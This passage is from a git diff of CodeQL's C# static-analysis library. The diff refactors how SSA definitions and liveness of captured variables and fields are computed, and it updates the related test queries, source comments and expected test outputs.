v.(QualifiedFieldOrPropSourceVariable).getQualifier()) - or - exists(Call c | callAt(bb, i, c) | updatesNamedFieldOrProp(c, v, _)) - } - - private int firstRefAfterQualifiedDef(BasicBlock bb, int i, QualifiedFieldOrPropSourceVariable q) { - variableWriteExt(bb, i, q) and - result = min(int k | k > i and ref(bb, k, q, _)) - } - - /** - * Holds if qualified field or property `q` is live after the (certain or - * uncertain) write at index `i` inside basic block `bb`. - */ - predicate liveAfterWriteQualified(BasicBlock bb, int i, QualifiedFieldOrPropSourceVariable q) { - variableWriteExt(bb, i, q) and - ( - not exists(firstRefAfterQualifiedDef(bb, i, q)) and - liveAtExit(bb, q, _) - or - exists(int j | j = firstRefAfterQualifiedDef(bb, i, q) | - liveAtRank(bb, j, q, _, _) and - not ref(bb, j, q, Write(true)) - ) - ) + updateCandidate(bb, i, fp, c) and + updatesNamedFieldOrProp(fp, c, setter) } } @@ -1306,7 +1372,6 @@ module Ssa { exists(BasicBlock bb, int i, CapturedWrittenLocalScopeSourceVariable sv | vdef.getTarget() = v and vdef.getEnclosingCallable() = c and - liveAfterWrite(bb, i, sv, _) and // only works because `CapturedVarExitRead`s are inserted sv.getAssignable() = v and bb.getNode(i) = vdef.getAControlFlowNode() and c != v.getCallable() @@ -1321,8 +1386,8 @@ module Ssa { private predicate updateCandidate( BasicBlock bb, int i, CapturedWrittenLocalScopeSourceVariable v, Call call ) { - possiblyLiveAtAllNodes(bb, v) and callAt(bb, i, call) and + call.getEnclosingCallable() = v.getEnclosingCallable() and exists(Assignable a | a = v.getAssignable() and relevantDefinition(_, a, _) and @@ -1398,46 +1463,53 @@ module Ssa { * Holds if `call` may change the value of captured variable `v`. The actual * update occurs in `def`. */ - private predicate updatesCapturedVariablePossiblyLive( + cached + predicate updatesCapturedVariable( BasicBlock bb, int i, Call call, LocalScopeSourceVariable v, AssignableDefinition def, boolean additionalCalls ) { + forceCachingInSameStage() and updateCandidate(bb, i, v, call) and exists(Callable writer | relevantDefinition(writer, v.getAssignable(), def) | updatesCapturedVariableWriter(call, v, writer, additionalCalls) ) } - - private int firstRefAfter(BasicBlock bb, int i, CapturedWrittenLocalScopeSourceVariable v) { - updatesCapturedVariablePossiblyLive(bb, i, _, v, _, _) and - result = min(int k | k > i and ref(bb, k, v, _)) - } - - /** - * Holds if `call` may change the value of captured variable `v`. The actual - * update occurs in `def`. - */ - cached - predicate updatesCapturedVariable( - Call call, LocalScopeSourceVariable v, AssignableDefinition def, boolean additionalCalls - ) { - forceCachingInSameStage() and - exists(BasicBlock bb, int i | - updatesCapturedVariablePossiblyLive(bb, i, call, v, def, additionalCalls) - | - not exists(firstRefAfter(bb, i, v)) and - liveAtExit(bb, v, _) - or - exists(int j | j = firstRefAfter(bb, i, v) | - liveAtRank(bb, j, v, _, _) and - not ref(bb, j, v, Write(true)) - ) - ) - } } private import CapturedVariableImpl + /** + * Holds if the `i`th node of basic block `bb` is a (potential) write to source + * variable `v`. The Boolean `certain` indicates whether the write is certain. + * + * This includes implicit writes via calls. + */ + private predicate variableWrite(BasicBlock bb, int i, SourceVariable v, boolean certain) { + variableWriteDirect(bb, i, v, certain) + or + variableWriteQualifier(bb, i, v, certain) + or + updatesNamedFieldOrProp(bb, i, _, v, _) and + certain = false + or + updatesCapturedVariable(bb, i, _, v, _, _) and + certain = false + } + + cached + private predicate variableWriteQualifier( + BasicBlock bb, int i, QualifiedFieldOrPropSourceVariable v, boolean certain + ) { + forceCachingInSameStage() and + variableWrite(bb, i, v.getQualifier(), certain) and + // Eliminate corner case where a call definition can overlap with a + // qualifier definition: if method `M` updates field `F`, then a call + // to `M` is both an update of `x.M` and `x.M.M`, so the former call + // definition should not give rise to an implicit qualifier definition + // for `x.M.M`. + not updatesNamedFieldOrProp(bb, i, _, v, _) + } + /** * Liveness analysis to restrict the size of the SSA representation for * captured variables. @@ -1467,11 +1539,10 @@ module Ssa { * `c` may read the value of the captured variable. */ private predicate capturerReads(Callable c, LocalScopeVariable v) { - exists(ControlFlow::BasicBlocks::EntryBlock ebb, LocalScopeSourceVariable lssv | - liveAtEntry(ebb, lssv, _) - | - v = lssv.getAssignable() and - c = ebb.getCallable() and + exists(LocalScopeSourceVariable sv | + variableReadDirect(_, _, sv, _, _) and + c = sv.getEnclosingCallable() and + v = sv.getAssignable() and v.getCallable() != c ) } @@ -1489,52 +1560,17 @@ module Ssa { } } - private predicate capturedVariableWrite( - BasicBlock bb, int i, CapturedReadLocalScopeSourceVariable v - ) { - ref(bb, i, v, Write(_)) - } - /** - * Holds if the write to captured source variable `v` at index `i` in basic - * block `bb` may be read by a callable reachable from the call `c`. + * Holds if a write to captured source variable `v` may be read by a + * callable reachable from the call `c`. */ private predicate implicitReadCandidate( - BasicBlock bb, int i, CapturedReadLocalScopeSourceVariable v, - ControlFlow::Nodes::ElementNode c + CapturedReadLocalScopeSourceVariable v, ControlFlow::Nodes::ElementNode c ) { - c.getElement() instanceof Call and - exists(BasicBlock bb0, int i0 | bb0.getNode(i0) = c | - // `c` is in basic block `bb` - capturedVariableWrite(bb0, i, v) and - i < i0 and - not capturedVariableWrite(bb, any(int j | j in [i + 1 .. i0 - 1]), v) and - bb = bb0 + exists(BasicBlock bb, int i | variableWriteDirect(bb, i, v, _) | + c = bb.getNode(any(int j | j > i)) or - // `c` is in a basic block reachable from `bb` - not capturedVariableWrite(bb0, any(int j | j < i0), v) and - capturedVariableWrite(bb, i, v) and - capturedVariableWriteReachesStartOf(bb, i, bb0, v) - ) - } - - /** - * Holds if the write to captured source variable `v` at index `i` in basic - * block `bb` reaches the start of basic block `r`, without passing through - * another write. - */ - private predicate capturedVariableWriteReachesStartOf( - BasicBlock bb, int i, BasicBlock r, CapturedReadLocalScopeSourceVariable v - ) { - exists(int last | last = max(refRank(bb, _, v, Write(_))) | - last = refRank(bb, i, v, Write(_)) and - capturedVariableWrite(bb, i, v) and - r = bb.getASuccessor() - ) - or - exists(BasicBlock mid | capturedVariableWriteReachesStartOf(bb, i, mid, v) | - r = mid.getASuccessor() and - not capturedVariableWrite(mid, _, v) + c = bb.getASuccessor+().getANode() ) } @@ -1542,7 +1578,7 @@ module Ssa { ControlFlow::Nodes::ElementNode call, CapturedReadLocalScopeSourceVariable v, CapturedReadLocalScopeVariable captured, Callable c, boolean libraryDelegateCall ) { - implicitReadCandidate(_, _, v, call) and + implicitReadCandidate(v, call) and c = getARuntimeTarget(call.getElement(), libraryDelegateCall) and captured = v.getAssignable() and capturerReads(_, captured) @@ -1601,12 +1637,12 @@ module Ssa { } /** - * Holds if captured local scope variable `v` is live after the (certain or uncertain) - * write at index `i` inside basic block `bb`. + * Holds if captured local scope variable `v` is written inside the callable + * to which `bb` belongs, and the value may be read via `call` using zero or + * more additional calls (as indicated by `additionalCalls`). * - * The write is live because of the implicit call definition `def`, which reaches - * the write using zero or more additional calls (as indicated by `additionalCalls`). - * That is, data can flow from the write at index `i` out to the call `def`. + * In this case a pseudo-read is inserted at the exit node `node`, at index + * `i` in `bb`, in order to make the write live. * * Example: * @@ -1624,27 +1660,23 @@ module Ssa { * The write to `i` inside `M2` on line 4 is live because of the implicit call * definition on line 5. */ - predicate liveAfterWriteCapturedOut( - BasicBlock bb, int i, LocalScopeSourceVariable v, ImplicitCallDefinition def, - boolean additionalCalls + predicate capturedReadOut( + BasicBlock bb, int i, LocalScopeSourceVariable v, ControlFlow::Nodes::AnnotatedExitNode node, + LocalScopeSourceVariable outer, Call call, boolean additionalCalls ) { - exists(LocalScopeVariable lsv, AssignableDefinition adef | - def.getSourceVariable().getAssignable() = lsv - | - lsv = v.getAssignable() and - bb.getNode(i) = adef.getAControlFlowNode() and - updatesCapturedVariable(def.getCall(), _, adef, additionalCalls) + node.isNormal() and + exists(BasicBlock pred, AssignableDefinition adef | + variableDefinition(pred, _, v, adef) and + updatesCapturedVariable(_, _, call, outer, adef, additionalCalls) and + pred.getASuccessor*() = bb and + node = bb.getNode(i) ) } /** - * Holds if captured local scope variable `v` is live after the (certain or uncertain) - * write at index `i` inside basic block `bb`. - * - * The write is live because of the implicit entry definition `def`, which can be - * reached using one or more calls (as indicated by `additionalCalls`), starting - * from call `c`. That is, data can flow from the write at index `i` into the - * callable containing `def`. + * Holds if a value written to captured local scope variable `outer` may be + * read as `inner` via `call`, at index `i` in basic block `bb`, using one or + * more calls (as indicated by `additionalCalls`). * * Example: * @@ -1662,116 +1694,50 @@ module Ssa { * The write to `i` on line 5 is live because of the call to `M2` on line 6, which * reaches the entry definition for `i` in `M2` on line 4. */ - predicate liveAfterWriteCapturedIn( - BasicBlock bb, int i, LocalScopeSourceVariable v, ImplicitEntryDefinition def, - ControlFlow::Nodes::ElementNode c, boolean additionalCalls + predicate capturedReadIn( + BasicBlock bb, int i, LocalScopeSourceVariable outer, LocalScopeSourceVariable inner, + ControlFlow::Nodes::ElementNode call, boolean additionalCalls ) { - exists(Callable reader, SourceVariable sv | - implicitReadCandidate(bb, i, v, c) and - readsCapturedVariable(c, v, reader, additionalCalls) and - sv = def.getSourceVariable() and - reader = sv.getEnclosingCallable() and - v.getAssignable() = sv.getAssignable() + exists(Callable reader | + implicitReadCandidate(outer, call) and + readsCapturedVariable(call, outer, reader, additionalCalls) and + reader = inner.getEnclosingCallable() and + outer.getAssignable() = inner.getAssignable() and + call = bb.getNode(i) ) } - - /** - * Holds if captured local scope variable `v` is live after the (certain or uncertain) - * write at index `i` inside basic block `bb`. - */ - predicate liveAfterWriteCaptured(BasicBlock bb, int i, LocalScopeSourceVariable v) { - liveAfterWriteCapturedOut(bb, i, v, _, _) or - liveAfterWriteCapturedIn(bb, i, v, _, _, _) - } } private import CapturedVariableLivenessImpl + /** + * Holds if the `i`th node `node` of basic block `bb` reads source variable `v`. + * The read at `node` is of kind `rk`. + * + * This includes implicit reads via calls. + */ + private predicate variableRead( + BasicBlock bb, int i, SourceVariable v, ControlFlow::Node node, ReadKind rk + ) { + variableReadDirect(bb, i, v, node, rk) + or + capturedReadOut(bb, i, v, node, _, _, _) and + rk = CapturedVarExitRead() + or + capturedReadIn(bb, i, v, _, node, _) and + rk = CapturedVarCallRead() + } + cached private module SsaImpl { cached predicate forceCachingInSameStage() { any() } - /** - * A data type representing SSA definitions. - * - * We distinguish six kinds of SSA definitions: - * - * 1. Explicit definitions wrapping an `AssignableDefinition` node in the CFG. - * 2. Implicit initializations of variables at the entry point of a callable - * (captured variables and relevant fields or properties), represented by - * the callable entry point in the CFG. - * 3. Implicit indirect definitions of variables through calls (fields, - * properties, or captured variables). - * 4. Implicit indirect definitions of variables through qualifier definitions - * (fields or properties). - * 5. Phi nodes. - * - * SSA definitions are only introduced where necessary. That is, dead assignments - * have no associated SSA definitions. - */ cached newtype TDefinition = - TSsaExplicitDef(SourceVariable v, AssignableDefinition def, BasicBlock bb, int i) { - variableDefinition(bb, i, v, def) and - ( - exists(ReadKind rk | liveAfterWrite(bb, i, v, rk) | - // A `ref` assignment such as - // ```csharp - // ref int i = ref GetRef(); - // ``` - // is dead when there are no reads of or writes to `i`. - // That is, the read kind `rk` witnessing the liveness of the assignment - // must not be the pseudo read inserted at the end of the enclosing callable - not ( - rk = OutRefExitRead() and - def.(AssignableDefinitions::AssignmentDefinition).getSource() instanceof RefExpr - ) and - rk != CapturedVarExitRead() // Captured variables are handled below - ) - or - liveAfterWriteCaptured(bb, i, v) - ) - } or - TSsaImplicitEntryDef(SourceVariable v, ControlFlow::BasicBlocks::EntryBlock ebb) { - liveAtEntry(ebb, v, _) and - exists(Callable c | - c = ebb.getCallable() and - c = v.getEnclosingCallable() - | - // Captured variable - exists(LocalScopeVariable lsv | - v = any(LocalScopeSourceVariable lv | lsv = lv.getAssignable()) - | - lsv.getCallable() != c - ) - or - // Each tracked field and property has an implicit entry definition - v instanceof FieldOrPropSourceVariable - ) - } or - TSsaImplicitCallDef(SourceVariable v, Call c, BasicBlock bb, int i) { - bb.getNode(i) = c.getAControlFlowNode() and - ( - // Liveness of `v` after `c` is guaranteed by `updatesNamedFieldOrProp` - updatesNamedFieldOrProp(c, v, _) - or - // Liveness of `v` after `c` is guaranteed by `updatesCapturedVariable` - updatesCapturedVariable(c, v, _, _) - ) - } or - TSsaImplicitQualifierDef(SourceVariable v, Definition qdef) { - exists(BasicBlock bb, int i | - qdef.getSourceVariable() = v.getQualifier() and - qdef.definesAt(bb, i) and - liveAfterWriteQualified(bb, i, v) and - // Eliminate corner case where a call definition can overlap with a - // qualifier definition: if method `M` updates field `F`, then a call - // to `M` is both an update of `x.M` and `x.M.M`, so the former call - // definition should not give rise to an implicit qualifier definition - // for `x.M.M`. - not exists(TSsaImplicitCallDef(v, _, bb, i)) - ) + TWriteDef(SourceVariable v, BasicBlock bb, int i) { + variableWrite(bb, i, v, _) and + liveAfterWrite(bb, i, v, _) } or TPhiNode(SourceVariable v, ControlFlow::BasicBlocks::JoinBlock bb) { phiNodeMaybeLive(bb, v) and @@ -1780,48 +1746,20 @@ module Ssa { pragma[noinline] private predicate phiNodeMaybeLive(ControlFlow::BasicBlocks::JoinBlock bb, SourceVariable v) { - exists(Definition def, BasicBlock bb1 | definesAt(def, bb1, _, v) | + exists(Definition def, BasicBlock bb1 | def.definesAt(v, bb1, _) | bb1.inDominanceFrontier(bb) ) } - /** - * Holds if the SSA definition `def` defines source variable `v` at index `i` - * in basic block `bb`. Phi nodes and entry nodes (captured variables and - * fields/properties) are considered to be at index `-1`, while normal variable - * updates are at the index of the control flow node they wrap. - */ - cached - predicate definesAt(Definition def, BasicBlock bb, int i, SourceVariable v) { - def = TSsaExplicitDef(v, _, bb, i) - or - def = TSsaImplicitEntryDef(v, bb) and i = -1 - or - def = TSsaImplicitCallDef(v, _, bb, i) - or - exists(Definition qdef | def = TSsaImplicitQualifierDef(v, qdef) | definesAt(qdef, bb, i, _)) - or - def = TPhiNode(v, bb) and i = -1 - } - cached predicate isCapturedVariableDefinitionFlowIn( ExplicitDefinition def, ImplicitEntryDefinition edef, ControlFlow::Nodes::ElementNode c, boolean additionalCalls ) { - exists(BasicBlock bb, int i, LocalScopeSourceVariable v | definesAt(def, bb, i, v) | - liveAfterWriteCapturedIn(bb, i, v, edef, c, additionalCalls) - ) - } - - /** - * Holds if the SSA definition `def` assigns to captured local scope variable `v`, - * and the variable may remain unchanged throughout the rest of the enclosing - * callable. - */ - private predicate isLiveCapturedVariableDefinition(ExplicitDefinition def) { - exists(Definition def0 | def = def0.getAnUltimateDefinition() | - ssaDefReachesRead(_, def0, _, CapturedVarExitRead()) + exists(Definition def0 | + capturedReadIn(_, _, def.getSourceVariable(), edef.getSourceVariable(), c, additionalCalls) and + def = def0.getAnUltimateDefinition() and + ssaDefReachesRead(_, def0, c, CapturedVarCallRead()) ) } @@ -1829,9 +1767,19 @@ module Ssa { predicate isCapturedVariableDefinitionFlowOut( ExplicitDefinition def, ImplicitCallDefinition cdef, boolean additionalCalls ) { - exists(BasicBlock bb, int i, LocalScopeSourceVariable v | definesAt(def, bb, i, v) | - liveAfterWriteCapturedOut(bb, i, v, cdef, additionalCalls) and - isLiveCapturedVariableDefinition(def) + exists(Definition def0, BasicBlock bb, int i | + def = def0.getAnUltimateDefinition() and + lastRef(def0, bb, i) and + capturedReadOut(bb, i, def0.getSourceVariable(), _, cdef.getSourceVariable(), + cdef.getCall(), additionalCalls) + ) + } + + cached + predicate explicitDefinition(Definition def, SourceVariable v, AssignableDefinition ad) { + exists(BasicBlock bb, int i | + def = TWriteDef(v, bb, i) and + variableDefinition(bb, i, v, ad) ) } } @@ -1840,7 +1788,7 @@ module Ssa { private string getSplitString(Definition def) { exists(BasicBlock bb, int i, ControlFlow::Node cfn | - definesAt(def, bb, i, _) and + def.definesAt(_, bb, i) and result = cfn.(ControlFlow::Nodes::ElementNode).getSplitsString() | cfn = bb.getNode(i) @@ -1864,7 +1812,7 @@ module Ssa { */ class Definition extends TDefinition { /** Gets the source variable underlying this SSA definition. */ - SourceVariable getSourceVariable() { definesAt(this, _, _, result) } + SourceVariable getSourceVariable() { this.definesAt(result, _, _) } /** * Gets a read of the source variable underlying this SSA definition that @@ -1923,7 +1871,7 @@ module Ssa { * node between lines 9 and 10. */ AssignableRead getAReadAtNode(ControlFlow::Node cfn) { - ssaDefReachesRead(_, this, cfn, _) and + ssaDefReachesRead(_, this, cfn, ActualRead()) and result.getAControlFlowNode() = cfn } @@ -2061,7 +2009,7 @@ module Ssa { * between lines 9 and 10. */ AssignableRead getALastReadAtNode(ControlFlow::Node cfn) { - lastRead(this, cfn) and + lastReadSameVar(this, cfn) and result.getAControlFlowNode() = cfn } @@ -2116,15 +2064,24 @@ module Ssa { predicate isLiveAtEndOfBlock(BasicBlock bb) { ssaDefReachesEndOfBlock(bb, this, _) } /** - * Holds if this SSA definition is at index `i` in basic block `bb`. Phi nodes and - * entry nodes (captured variables and fields/properties) are considered to be at - * index `-1`, while normal variable updates are at the index of the control flow - * node they wrap. + * DEPRECATED: Use `definesAt/3` instead. */ - predicate definesAt(BasicBlock bb, int i) { definesAt(this, bb, i, _) } + deprecated predicate definesAt(BasicBlock bb, int i) { this.definesAt(_, bb, i) } + + /** + * Holds if this SSA definition defines `v` at index `i` in basic block `bb`. + * Phi nodes and entry nodes (captured variables and fields/properties) are + * considered to be at index `-1`, while normal variable updates are at the + * index of the control flow node they wrap. + */ + predicate definesAt(SourceVariable v, BasicBlock bb, int i) { + this = TWriteDef(v, bb, i) + or + this = TPhiNode(v, bb) and i = -1 + } /** Gets the basic block to which this SSA definition belongs. */ - BasicBlock getBasicBlock() { this.definesAt(result, _) } + BasicBlock getBasicBlock() { this.definesAt(_, result, _) } /** * Gets the control flow node of this SSA definition, if any. Phi nodes are examples @@ -2132,7 +2089,7 @@ module Ssa { * `-1` in the relevant basic block. */ ControlFlow::Node getControlFlowNode() { - exists(BasicBlock bb, int i | this.definesAt(bb, i) | result = bb.getNode(i)) + exists(BasicBlock bb, int i | this.definesAt(_, bb, i) | result = bb.getNode(i)) } /** @@ -2150,11 +2107,12 @@ module Ssa { * parameter may remain unchanged throughout the rest of the enclosing callable. */ predicate isLiveOutRefParameterDefinition(Parameter p) { - exists(Definition def, ControlFlow::Node read, SourceVariable v | - this = def.getAnUltimateDefinition() - | - ssaDefReachesRead(v, def, read, OutRefExitRead()) and - v.getAssignable() = p + p.isOutOrRef() and + exists(Definition def, BasicBlock bb, int i | + this = def.getAnUltimateDefinition() and + lastRef(def, bb, i) and + variableRead(bb, i, def.getSourceVariable(), _, OutRefExitRead()) and + p = def.getSourceVariable().getAssignable() ) } @@ -2168,11 +2126,11 @@ module Ssa { /** * An SSA definition that corresponds to an explicit assignable definition. */ - class ExplicitDefinition extends Definition, TSsaExplicitDef { + class ExplicitDefinition extends Definition, TWriteDef { SourceVariable sv; AssignableDefinition ad; - ExplicitDefinition() { this = TSsaExplicitDef(sv, ad, _, _) } + ExplicitDefinition() { explicitDefinition(this, sv, ad) } /** * Gets an underlying assignable definition. The result is always unique, @@ -2255,9 +2213,16 @@ module Ssa { */ class ImplicitDefinition extends Definition { ImplicitDefinition() { - this = TSsaImplicitEntryDef(_, _) or - this = TSsaImplicitCallDef(_, _, _, _) or - this = TSsaImplicitQualifierDef(_, _) + exists(BasicBlock bb, SourceVariable v, int i | this = TWriteDef(v, bb, i) | + implicitEntryDefinition(bb, v) and + i = -1 + or + updatesNamedFieldOrProp(bb, i, _, v, _) + or + updatesCapturedVariable(bb, i, _, v, _, _) + or + variableWriteQualifier(bb, i, v, _) + ) } } @@ -2266,12 +2231,19 @@ module Ssa { * at the beginning of a callable. Either the variable is a local scope variable * captured by the callable, or a field or property accessed inside the callable. */ - class ImplicitEntryDefinition extends ImplicitDefinition, TSsaImplicitEntryDef { + class ImplicitEntryDefinition extends ImplicitDefinition, TWriteDef { + ImplicitEntryDefinition() { + exists(BasicBlock bb, SourceVariable v | + this = TWriteDef(v, bb, -1) and + implicitEntryDefinition(bb, v) + ) + } + /** Gets the callable that this entry definition belongs to. */ Callable getCallable() { - exists(ControlFlow::BasicBlocks::EntryBlock ebb | - this = TSsaImplicitEntryDef(_, ebb) and - result = ebb.getCallable() + exists(BasicBlock bb | + this = TWriteDef(_, bb, _) and + result = bb.getCallable() ) } @@ -2290,8 +2262,18 @@ module Ssa { * An SSA definition representing the potential definition of a variable * via a call. */ - class ImplicitCallDefinition extends ImplicitDefinition, TSsaImplicitCallDef { - Call getCall() { this = TSsaImplicitCallDef(_, result, _, _) } + class ImplicitCallDefinition extends ImplicitDefinition, TWriteDef { + private Call c; + + ImplicitCallDefinition() { + exists(BasicBlock bb, SourceVariable v, int i | this = TWriteDef(v, bb, i) | + updatesNamedFieldOrProp(bb, i, c, v, _) + or + updatesCapturedVariable(bb, i, c, v, _, _) + ) + } + + Call getCall() { result = c } /** * Gets one of the definitions that may contribute to this implicit @@ -2300,12 +2282,12 @@ module Ssa { * and which targets the same assignable as this SSA definition. */ AssignableDefinition getAPossibleDefinition() { - exists(Callable setter | updatesNamedFieldOrProp(getCall(), _, setter) | + exists(Callable setter | updatesNamedFieldOrProp(_, _, getCall(), _, setter) | result.getEnclosingCallable() = setter and result.getTarget() = this.getSourceVariable().getAssignable() ) or - updatesCapturedVariable(getCall(), _, result, _) and + updatesCapturedVariable(_, _, getCall(), _, result, _) and result.getTarget() = this.getSourceVariable().getAssignable() } @@ -2320,9 +2302,20 @@ module Ssa { * An SSA definition representing the potential definition of a variable * via an SSA definition for the qualifier. */ - class ImplicitQualifierDefinition extends ImplicitDefinition, TSsaImplicitQualifierDef { + class ImplicitQualifierDefinition extends ImplicitDefinition, TWriteDef { + private Definition q; + + ImplicitQualifierDefinition() { + exists(BasicBlock bb, int i, QualifiedFieldOrPropSourceVariable v | + this = TWriteDef(v, bb, i) + | + variableWriteQualifier(bb, i, v, _) and + q.definesAt(v.getQualifier(), bb, i) + ) + } + /** Gets the SSA definition for the qualifier. */ - Definition getQualifierDefinition() { this = TSsaImplicitQualifierDef(_, result) } + Definition getQualifierDefinition() { result = q } override string toString() { result = getToStringPrefix(this) + "SSA qualifier def(" + getSourceVariable() + ")" @@ -2376,7 +2369,7 @@ module Ssa { */ override Definition getAnInput() { exists(BasicBlock bb, BasicBlock phiPred, SourceVariable v | - definesAt(this, bb, _, v) and + this.definesAt(v, bb, _) and bb.getAPredecessor() = phiPred and ssaDefReachesEndOfBlock(phiPred, result, v) ) diff --git a/csharp/ql/test/library-tests/dataflow/defuse/useUseEquivalence.ql b/csharp/ql/test/library-tests/dataflow/defuse/useUseEquivalence.ql index b7997b85384..4dbc77e922e 100644 --- a/csharp/ql/test/library-tests/dataflow/defuse/useUseEquivalence.ql +++ b/csharp/ql/test/library-tests/dataflow/defuse/useUseEquivalence.ql @@ -34,7 +34,7 @@ private TLocalScopeVariableReadOrSsaDef getANextReadOrDef(TLocalScopeVariableRea ssaDef.getARead() = read | pseudoDef.getAnInput() = ssaDef and - pseudoDef.definesAt(bb, i) and + pseudoDef.definesAt(_, bb, i) and cfn = read.getAReachableElement().getAControlFlowNode() and ( cfn = bb.getNode(i) diff --git a/csharp/ql/test/library-tests/dataflow/ssa/Capture.cs b/csharp/ql/test/library-tests/dataflow/ssa/Capture.cs index d11947afed6..a74d480668d 100644 --- a/csharp/ql/test/library-tests/dataflow/ssa/Capture.cs +++ b/csharp/ql/test/library-tests/dataflow/ssa/Capture.cs @@ -99,7 +99,7 @@ class Capture return x; }); - var z = 12; // Should *not* get an SSA definition + var z = 12; // Should *not* get an SSA definition, but currently does because it is considered live via the lambda fn(() => { z = 0; @@ -119,7 +119,7 @@ class Capture }; M1(); - var b = 12; // Should *not* get an SSA definition + var b = 12; // Should *not* get an SSA definition, but currently does because it is considered live via the lambda void M2() { b = 0; @@ -155,7 +155,7 @@ class Capture Use(f); void M6() { - f = 0; // Should *not* get an SSA definition (`f` is not read after `M6` is called) + f = 0; // Should *not* get an SSA definition (`f` is not read after `M6` is called), but currently does because it is considered live via the call to `M6` } M6(); diff --git a/csharp/ql/test/library-tests/dataflow/ssa/PreSsaConsistency.ql b/csharp/ql/test/library-tests/dataflow/ssa/PreSsaConsistency.ql index b740f89e91b..ab31244d07b 100644 --- a/csharp/ql/test/library-tests/dataflow/ssa/PreSsaConsistency.ql +++ b/csharp/ql/test/library-tests/dataflow/ssa/PreSsaConsistency.ql @@ -77,7 +77,7 @@ query predicate phiInconsistency( edef = phi.getAnUltimateDefinition() | edef.getADefinition() = adef and - phi.definesAt(bb, _) and + phi.definesAt(_, bb, _) and cfe = bb.getFirstNode().getElement() ) ) @@ -88,7 +88,7 @@ query predicate phiInconsistency( | edef = phi.getAnUltimateDefinition() and edef.getADefinition() = adef and - phi.definesAt(bb, _) and + phi.definesAt(_, bb, _) and cfe = bb.getFirstNode().getElement() and not exists(PreSsa::Definition def | adef = def.getAPhiInput+().getDefinition() and diff --git a/csharp/ql/test/library-tests/dataflow/ssa/SsaDef.expected b/csharp/ql/test/library-tests/dataflow/ssa/SsaDef.expected index 8d5a2db71ab..bf944248e67 100644 --- a/csharp/ql/test/library-tests/dataflow/ssa/SsaDef.expected +++ b/csharp/ql/test/library-tests/dataflow/ssa/SsaDef.expected @@ -49,10 +49,12 @@ | Capture.cs:94:13:94:13 | y | Capture.cs:94:13:94:18 | SSA def(y) | | Capture.cs:94:13:94:13 | y | Capture.cs:96:12:100:9 | SSA capture def(y) | | Capture.cs:98:17:98:17 | x | Capture.cs:98:17:98:21 | SSA def(x) | +| Capture.cs:102:13:102:13 | z | Capture.cs:102:13:102:18 | SSA def(z) | | Capture.cs:102:13:102:13 | z | Capture.cs:105:13:105:17 | SSA def(z) | | Capture.cs:114:13:114:13 | a | Capture.cs:114:13:114:18 | SSA def(a) | | Capture.cs:114:13:114:13 | a | Capture.cs:115:9:119:9 | SSA capture def(a) | | Capture.cs:117:17:117:17 | x | Capture.cs:117:17:117:21 | SSA def(x) | +| Capture.cs:122:13:122:13 | b | Capture.cs:122:13:122:18 | SSA def(b) | | Capture.cs:122:13:122:13 | b | Capture.cs:125:13:125:17 | SSA def(b) | | Capture.cs:130:13:130:13 | c | Capture.cs:130:13:130:18 | SSA def(c) | | Capture.cs:130:13:130:13 | c | Capture.cs:133:13:133:17 | SSA def(c) | @@ -62,6 +64,7 @@ | Capture.cs:139:13:139:13 | d | Capture.cs:144:9:144:12 | SSA call def(d) | | Capture.cs:147:13:147:13 | e | Capture.cs:148:9:152:9 | SSA capture def(e) | | Capture.cs:154:13:154:13 | f | Capture.cs:154:13:154:18 | SSA def(f) | +| Capture.cs:154:13:154:13 | f | Capture.cs:158:13:158:17 | SSA def(f) | | Capture.cs:162:13:162:13 | g | Capture.cs:163:9:166:9 | SSA capture def(g) | | Capture.cs:168:13:168:13 | h | Capture.cs:171:13:171:17 | SSA def(h) | | Capture.cs:168:13:168:13 | h | Capture.cs:174:17:174:21 | SSA def(h) | @@ -218,9 +221,9 @@ | Fields.cs:107:33:107:33 | f | Fields.cs:107:33:107:33 | SSA param(f) | | Fields.cs:115:20:115:29 | this.Field | Fields.cs:109:10:109:10 | SSA entry def(this.Field) | | Fields.cs:115:20:115:29 | this.Field | Fields.cs:114:9:114:22 | SSA call def(this.Field) | -| Fields.cs:115:20:115:35 | this.Field.Field | Fields.cs:109:10:109:10 | SSA entry def(this.Field.Field) | +| Fields.cs:115:20:115:35 | this.Field.Field | Fields.cs:109:10:109:10 | SSA qualifier def(this.Field.Field) | | Fields.cs:115:20:115:35 | this.Field.Field | Fields.cs:114:9:114:22 | SSA call def(this.Field.Field) | -| Fields.cs:116:21:116:39 | this.Field.Field.xs | Fields.cs:109:10:109:10 | SSA entry def(this.Field.Field.xs) | +| Fields.cs:116:21:116:39 | this.Field.Field.xs | Fields.cs:109:10:109:10 | SSA qualifier def(this.Field.Field.xs) | | Fields.cs:116:21:116:39 | this.Field.Field.xs | Fields.cs:114:9:114:22 | SSA qualifier def(this.Field.Field.xs) | | OutRef.cs:9:13:9:13 | j | OutRef.cs:9:13:9:17 | SSA def(j) | | OutRef.cs:9:13:9:13 | j | OutRef.cs:10:32:10:32 | SSA def(j) | @@ -299,9 +302,9 @@ | Properties.cs:106:37:106:37 | p | Properties.cs:106:37:106:37 | SSA param(p) | | Properties.cs:114:20:114:29 | this.Props | Properties.cs:108:10:108:10 | SSA entry def(this.Props) | | Properties.cs:114:20:114:29 | this.Props | Properties.cs:113:9:113:22 | SSA call def(this.Props) | -| Properties.cs:114:20:114:35 | this.Props.Props | Properties.cs:108:10:108:10 | SSA entry def(this.Props.Props) | +| Properties.cs:114:20:114:35 | this.Props.Props | Properties.cs:108:10:108:10 | SSA qualifier def(this.Props.Props) | | Properties.cs:114:20:114:35 | this.Props.Props | Properties.cs:113:9:113:22 | SSA call def(this.Props.Props) | -| Properties.cs:115:21:115:39 | this.Props.Props.xs | Properties.cs:108:10:108:10 | SSA entry def(this.Props.Props.xs) | +| Properties.cs:115:21:115:39 | this.Props.Props.xs | Properties.cs:108:10:108:10 | SSA qualifier def(this.Props.Props.xs) | | Properties.cs:115:21:115:39 | this.Props.Props.xs | Properties.cs:113:9:113:22 | SSA qualifier def(this.Props.Props.xs) | | Splitting.cs:3:18:3:18 | b | Splitting.cs:3:18:3:18 | SSA param(b) | | Splitting.cs:5:13:5:13 | x | Splitting.cs:7:13:7:19 | [b (line 3): true] SSA def(x) | diff --git a/csharp/ql/test/library-tests/dataflow/ssa/SsaDefElement.expected b/csharp/ql/test/library-tests/dataflow/ssa/SsaDefElement.expected index a5971b9070d..a259546f403 100644 --- a/csharp/ql/test/library-tests/dataflow/ssa/SsaDefElement.expected +++ b/csharp/ql/test/library-tests/dataflow/ssa/SsaDefElement.expected @@ -49,10 +49,12 @@ | Capture.cs:94:13:94:18 | SSA 